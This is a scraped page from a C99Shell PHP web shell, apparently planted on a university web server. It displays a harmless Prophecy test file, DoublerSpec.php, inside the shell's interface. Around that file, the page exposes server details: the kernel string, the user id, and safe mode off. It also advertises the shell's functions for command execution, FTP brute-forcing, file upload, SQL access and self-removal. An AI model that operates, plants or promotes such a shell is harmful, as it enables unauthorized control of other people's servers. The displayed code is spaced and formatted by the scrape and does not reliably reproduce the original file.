!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/Doubler/   drwxr-xr-x
Free 116.55 GB of 200.55 GB (58.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DoublerSpec.php (4.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy\Doubler;

use 
PhpSpec\ObjectBehavior;
use 
Prophecy\Argument;

class 
DoublerSpec extends ObjectBehavior
{
    
/**
     * @param \Prophecy\Doubler\Generator\ClassMirror  $mirror
     * @param \Prophecy\Doubler\Generator\ClassCreator $creator
     * @param \Prophecy\Doubler\NameGenerator          $namer
     */
    
function let($mirror$creator$namer)
    {
        
$this->beConstructedWith($mirror$creator$namer);
    }

    function 
it_does_not_have_patches_by_default()
    {
        
$this->getClassPatches()->shouldHaveCount(0);
    }

    
/**
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $patch
     */
    
function its_registerClassPatch_adds_a_patch_to_the_doubler($patch)
    {
        
$this->registerClassPatch($patch);
        
$this->getClassPatches()->shouldReturn(array($patch));
    }

    
/**
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $alt1
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $alt2
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $alt3
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $alt4
     */
    
function its_getClassPatches_sorts_patches_by_priority($alt1$alt2$alt3$alt4)
    {
        
$alt1->getPriority()->willReturn(2);
        
$alt2->getPriority()->willReturn(50);
        
$alt3->getPriority()->willReturn(10);
        
$alt4->getPriority()->willReturn(0);

        
$this->registerClassPatch($alt1);
        
$this->registerClassPatch($alt2);
        
$this->registerClassPatch($alt3);
        
$this->registerClassPatch($alt4);

        
$this->getClassPatches()->shouldReturn(array($alt2$alt3$alt1$alt4));
    }

    
/**
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $alt1
     * @param \Prophecy\Doubler\ClassPatch\ClassPatchInterface $alt2
     * @param \ReflectionClass                                 $class
     * @param \ReflectionClass                                 $interface1
     * @param \ReflectionClass                                 $interface2
     * @param \Prophecy\Doubler\Generator\Node\ClassNode       $node
     */
    
function its_double_mirrors_alterates_and_instantiates_provided_class(
        
$mirror$creator$namer$alt1$alt2$class$interface1$interface2$node
    
)
    {
        
$mirror->reflect($class, array($interface1$interface2))->willReturn($node);
        
$alt1->supports($node)->willReturn(true);
        
$alt2->supports($node)->willReturn(false);
        
$alt1->getPriority()->willReturn(1);
        
$alt2->getPriority()->willReturn(2);
        
$namer->name($class, array($interface1$interface2))->willReturn('SplStack');
        
$class->getName()->willReturn('stdClass');
        
$interface1->getName()->willReturn('ArrayAccess');
        
$interface2->getName()->willReturn('Iterator');

        
$alt1->apply($node)->shouldBeCalled();
        
$alt2->apply($node)->shouldNotBeCalled();
        
$creator->create('SplStack'$node)->shouldBeCalled();

        
$this->registerClassPatch($alt1);
        
$this->registerClassPatch($alt2);

        
$this->double($class, array($interface1$interface2))
            ->
shouldReturnAnInstanceOf('SplStack');
    }

    
/**
     * @param \ReflectionClass                           $class
     * @param \Prophecy\Doubler\Generator\Node\ClassNode $node
     */
    
function it_double_instantiates_a_class_with_constructor_argument($mirror$class$node$namer)
    {
        
$class->getName()->willReturn('ReflectionClass');
        
$mirror->reflect($class, array())->willReturn($node);
        
$namer->name($class, array())->willReturn('ReflectionClass');

        
$double $this->double($class, array(), array('stdClass'));
        
$double->shouldBeAnInstanceOf('ReflectionClass');
        
$double->getName()->shouldReturn('stdClass');
    }

    
/**
     * @param \ReflectionClass                           $class
     * @param \Prophecy\Doubler\Generator\Node\ClassNode $node
     */
    
function it_can_instantiate_class_with_final_constructor($mirror$class$node$namer)
    {
        
$class->getName()->willReturn('spec\Prophecy\Doubler\WithFinalConstructor');
        
$mirror->reflect($class, array())->willReturn($node);
        
$namer->name($class, array())->willReturn('spec\Prophecy\Doubler\WithFinalConstructor');

        
$double $this->double($class, array());

        
$double->shouldBeAnInstanceOf('spec\Prophecy\Doubler\WithFinalConstructor');
    }
}

class 
WithFinalConstructor
{
    final public function 
__construct() {}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0268 ]--